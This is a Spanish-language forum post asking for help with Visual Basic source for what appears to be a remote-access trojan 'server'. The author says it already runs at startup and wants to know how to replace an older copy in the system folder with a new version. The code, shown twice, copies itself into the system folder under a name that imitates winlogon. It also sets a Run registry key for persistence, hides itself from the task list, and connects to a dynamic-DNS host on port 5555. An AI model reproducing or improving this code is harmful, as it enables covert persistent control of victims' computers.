Código:
On Error Resume Next
Text_chat.Text = "Chat abierto"
ruta = App.Path
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ruta, sys & "\winslon.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\winslon", sys & "\winslon.exe"
Ws.RemoteHost = "shadowdarknesses.no-ip.org"
Ws.RemotePort = 5555
SName = "ShaCCorTh"
App.TaskVisible = False
End Sub
ya yo lo abro, todo bien se ejecuta al inicio del pc, pero ya quiero abrir una nueva version de mi sever mas avanzada, NO reemplaza el archivo en system 32, alguien sabe como podria hacerlo para reemplazarloText_chat.Text = "Chat abierto"
ruta = App.Path
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ruta, sys & "\winslon.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\winslon", sys & "\winslon.exe"
Ws.RemoteHost = "shadowdarknesses.no-ip.org"
Ws.RemotePort = 5555
SName = "ShaCCorTh"
App.TaskVisible = False
End Sub
gracias
Saludos...